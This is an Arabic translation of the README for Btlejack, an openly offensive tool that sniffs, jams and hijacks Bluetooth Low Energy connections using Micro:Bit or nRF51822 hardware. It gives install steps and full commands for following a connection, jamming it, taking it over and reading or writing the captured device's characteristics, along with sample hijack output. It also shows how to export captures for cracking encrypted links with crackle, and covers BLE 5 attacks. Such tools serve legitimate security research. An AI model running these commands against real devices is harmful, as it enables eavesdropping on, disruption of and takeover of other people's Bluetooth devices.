
سكين الجيش السويسري لتقنية بلوتوث منخفض الطاقة
#####################################################
يوفر Btlejack كل ما تحتاجه لشمّ وإعاقة واختطاف أجهزة البلوتوث منخفض الطاقة. يعتمد على جهاز واحد أو أكثر من أجهزة BBC Micro:Bit <http://microbit.org/>_ التي تعمل ببرنامج ثابت مخصص. قد ترغب أيضًا في استخدام أداة شم Bluetooth LE من Adafruit <https://www.adafruit.com/product/2269>_ أو مجموعة تقييم nRF51822 <https://www.waveshare.com/wiki/BLE400>_، حيث أضفنا دعمًا لهذه الأجهزة.
الإصدار الحالي من هذه الأداة (2.0) يدعم BLE 4.x و 5.x. دعم BLE 5.x محدود، حيث يدعم فقط الطور المادي غير المشفر بمعدل 1 ميجابت في الثانية ولا يدعم تحديثات خريطة القناة.
تحتاج إلى نظام قائم على UNIX (مثل Raspberry Pi). إذا كنت تستخدم BBC Micro:Bit، فستحتاج إلى جهاز إلى ثلاثة أجهزة Micro:Bit (يوصى بثلاثة أجهزة) ولكل جهاز منفذ USB واحد مجاني. استهلاك الطاقة لجهاز Micro:Bit منخفض نسبيًا، لذا يمكنك استخدام منفذ USB واحد وموزع سلبي لتشغيل الوحدات الثلاث الموصى بها.
إذا قمت بتوصيل 3 أجهزة microbits في نفس الوقت على جهاز الكمبيوتر الخاص بك، فسيكون Btlejack قادرًا على الشم على كل قنوات الإعلان وستكون لديه فرصة أكبر لالتقاط طلب الاتصال.
أولاً، قم بتثبيت برنامج العميل btlejack الخاص بـ Python3 باستخدام Pip:
::
$ sudo pip3 install btlejack
ثم، قم بتوصيل جهاز Micro:Bit الخاص بك بجهاز الكمبيوتر باستخدام كابل USB، وقم بتركيب جهاز التخزين الشامل المرتبط (يجب أن يحتوي نقطة التثبيت على MICROBIT)، وأصدر الأمر التالي:
::
$ btlejack -i
سيؤدي هذا إلى برمجة كل جهاز Micro:Bit متصل بجهاز الكمبيوتر الخاص بك، وجعلها جاهزة للاستخدام مع Btlejack. سيستخدم إصدار البرنامج الثابت الصحيح لبرنامج العميل الحالي، لذا يُنصح بشدة بتنفيذ إجراء تثبيت البرنامج الثابت هذا في كل مرة تقوم فيها بتحديث Btlejack.
إذا كنت تستخدم Bluefruit LE sniffer أو nRF51822 Eval Kit، فيرجى استخدام مبرمج SWD خارجي لوميض جهازك بهذا البرنامج الثابت <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
أبقِ أجهزتك متصلة وستكون جاهزًا!
ملاحظة هذا يعمل فقط مع الأنظمة المتوافقة مع Posix.
استخدام Btlejack سهل للغاية. يمكن لـ Btlejack القيام بما يلي:
يحاول Btlejack عادةً اكتشاف واستخدام الأجهزة المتوافقة المتصلة تلقائيًا (Micro:Bit فقط في الوقت الحالي)، ولكن نظرًا لأنه يمكن اختراق البرنامج الثابت أو تعديله للعمل مع لوحات أخرى قائمة على nRF51822، فإنه يوفر خيارات محددة للسماح بالتوافق مع هذه الأجهزة.
يسمح لك الخيار -d بتحديد جهاز واحد أو أكثر مع Btlejack. لاحظ أن هذا الخيار سيعطل الكشف التلقائي عن الأجهزة، ويجب عليك إضافة أكبر عدد من الأجهزة حسب حاجتك:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
أولاً، ابحث عن اتصال موجود لاستهدافه باستخدام btlejack:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
القيمة الأولى (بوحدة dBm) تظهر قوة الإشارة، كلما كانت هذه القيمة أكبر كلما كان الاتصال المُشم أفضل.
القيمة الثانية (سداسي عشري) هي عنوان الوصول المرتبط، وهي قيمة 32 بت تحدد رابطًا بين جهازين متوافقين مع البلوتوث منخفض الطاقة.
القيمة الأخيرة هي عدد الحزم التي شوهدت بهذا عنوان الوصول. كلما كانت هذه القيمة أعلى، زادت احتمالية استخدام عنوان الوصول المقابل.
ثم استخدم الخيار -f لمتابعة اتصال معين:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
إذا كنت تستخدم أكثر من microbit واحد، فسيعمل Btlejack على توازي بعض عمليات الشم من أجل تسريع استرداد معلمات الاتصال!
الخيار -c الذي يدعمه btlejack يسمح لك بتحديد عنوان BD الهدف، أو قد ترغب في استخدام any لالتقاط أي اتصال جديد يتم إنشاؤه.
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
أو قد ترغب أيضًا في تحديد عنوان BD الهدف:
::
$ btlejack -c 03:e1:f0:00:11:22
بمجرد تحديد اتصال بواسطة عنوان الوصول الخاص به، يمكنك إعاقته باستخدام الخيار -j:
::
$ btlejack -f 0x129f3244 -j̀
يمكن لـ Btlejack أيضًا اختطاف اتصال موجود، استخدم الخيار -t للقيام بذلك. بمجرد الاختطاف، سيعطيك Btlejack موجهًا يسمح لك بالتفاعل مع الجهاز المختطف.
أولاً، اختطف اتصالًا موجودًا:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
ثم استخدم الأوامر التالية للتفاعل مع الجهاز:
أمر discover ^^^^^^^^^^^^^^^^^^
سيقوم أمر discover بإرسال واستقبال حزم Bluetooth LE واسترداد جميع UUIDs ومعلمات الخدمات، بالإضافة إلى UUIDs ومعلمات الخصائص:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a
Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016
Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018
Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a
أمر read ^^^^^^^^^^^^^^
يقبل أمر read معلمة واحدة، وهي معرف القيمة المقابل للخاصية التي تريد القراءة منها:
::
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
أمر write ^^^^^^^^^^^^^^^
يقبل أمر write ثلاث معاملات:
::
btlejack> write
تنسيقات البيانات المدعومة:
hex: بيانات سداسية عشرية (مثل "414261")str: سلسلة نصية، قد تكون محاطة بعلامات اقتباس مزدوجةأمر ll ^^^^^^^^^^^^
يسمح لك هذا الأمر الأخير بإرسال وحدات PDU لطبقة الارتباط للبلوتوث منخفض الطاقة، بصيغة سداسية عشرية، كما هو محدد في المجلد 6، الجزء ب، الفصل 2.4.
إحدى الميزات المثيرة للاهتمام في Btlejack هي إمكانية تصدير البيانات الملتقطة إلى ملف PCAP.
يدعم Btlejack تنسيقات DLT التالية:
يمكن تحديد ملف الإخراج باستخدام الخيار -o، بينما يمكن تحديد تنسيق الإخراج باستخدام الخيار -x. قيم التنسيق الصالحة هي: ll_phdr، nordic، أو pcap (افتراضي).
::
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
نوع التصدير ll_phdr مفيد عند شم اتصال مشفر، حيث أنه مدعوم أيضًا بواسطة crackle <https://github.com/mikeryan/crackle>_. لذا إذا كنت ترغب في شم وكسر الاتصالات المشفرة، فهذه هي الطريقة المثلى.
قد تحتاج أيضًا إلى إخبار crackle باستخدام استراتيجية كسر محددة، باستخدام الخيار -s:
::
$ crackle -i some.pcap -s 1
يستخدم Btlejack ذاكرة تخزين مؤقت للاتصالات لتخزين بعض القيم المتعلقة بالاتصال من أجل تسريع الأمور قليلاً. قد تسبب ذاكرة التخزين المؤقت هذه بعض المشاكل، خاصة إذا تم رؤية عنوان وصول من قبل.
يمكن مسح هذه الذاكرة المؤقتة باستخدام الخيار -z:
::
$ btlejack -z
يقدم Btlejack 2.0 خيارًا جديدًا -w يسمح لك بتحديد مسار FIFO (موجود أو لا) لإجراء تحليل حي للحزم:
::
$ btlejack -c any -w /tmp/blepipe
يمكنك حتى استخدام FIFO وملف إخراج في نفس الوقت:
::
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
إذا كنت قد قمت سابقًا بتمكين شبكة إيثرنت افتراضية عبر USB (RNDIS)، على سبيل المثال لإعداد Raspberry Pi Zero W عبر USB، فستحتاج إلى تعطيل ذلك مرة أخرى (أي إزالة dtoverlay=dwc2 من boot/config.txt و modules-load=dwc2,g_ether من boot/cmdline.txt، ثم sudo reboot)، لأن هذا سيتداخل مع اتصالات USB الخاصة بأجهزة الشم.
يدعم هذا الإصدار إصدارات البلوتوث منخفض الطاقة 5 و 5.1 وخاصة خوارزمية اختيار القناة الجديدة المقدمة في الإصدار 5 (CSA #2). ومع ذلك، نظرًا لأن الأجهزة المستخدمة لا تدعم الطورين الماديين الجديدين المضافين من الإصدار 5، فإنها ستكون قادرة فقط على شم وإعاقة وربما اختطاف الاتصالات باستخدام الطور المادي غير المشفر بمعدل 1 ميجابت في الثانية.
يرجى أيضًا ملاحظة أن التنفيذ الحالي لـ CSA #2 المضمن في Btlejack لا يدعم تحديثات خريطة القناة، في الوقت الحالي.
يكتشف Btlejack تلقائيًا خوارزمية اختيار القناة المستخدمة، لذا لا داعي للقلق فقط قم بالتقاط الحزم كالمعتاد.
شم اتصال BLE 5 موجود (الذي يستخدم الطور المادي غير المشفر بمعدل 1 ميجابت في الثانية، وهذا الطور فقط) ليس صعبًا جدًا. أولاً، يجب عليك تحديد أنك تريد استهداف اتصال BLE 5، باستخدام الخيار -5. يرجى ملاحظة أنه لا توجد طريقة لمعرفة ما إذا كان الاتصال الموجود يستخدم CSA #2 أو CSA #1، لذا عليك تجربة كلتا التقنيتين حتى تعمل إحداهما.
::
$ btlejack -f 0x11223344 -5
سيقوم Btlejack بعد ذلك باستعادة خريطة القناة المستخدمة ثم قيمة الفاصل الزمني للقفز:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160
سيحاول بعد ذلك استعادة قيمة عداد PRNG الخاص بهذا الاتصال:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160 ✓ CSA2 PRNG counter = 5137 [i] Synchronized, packet capture in progress ...
بمجرد الانتهاء، يتم مزامنة Btlejack مع هذا الاتصال وسيقوم بمعالجة الحزم كالمعتاد.
لا جديد هنا، باستثناء أنه يجب عليك تحديد أنك تهاجم اتصال BLE 5، باستخدام الخيار -5.
يرجى ملاحظة أنه يمكنك تحسين هذا الهجوم عن طريق تحديد خريطة القناة وقيمة الفاصل الزمني للقفز المراد استخدامها، باستخدام العلامتين -m و -p على التوالي. يجب توفيرهما معًا، وإلا فلن يعمل.
لم أتمكن من اختطاف اتصال BLE 5 في هذا الوقت، لأن هذا الهجوم حساس للوقت. أجهزة BLE 5 الخاصة بي تستخدم زمن انتقال 0، مما لا يسمح بأي تأخير ويتسبب في فشل هذا الهجوم.
عندما أحصل على بعض أجهزة BLE 5 الأصلية، سأقوم بتحسين ذلك.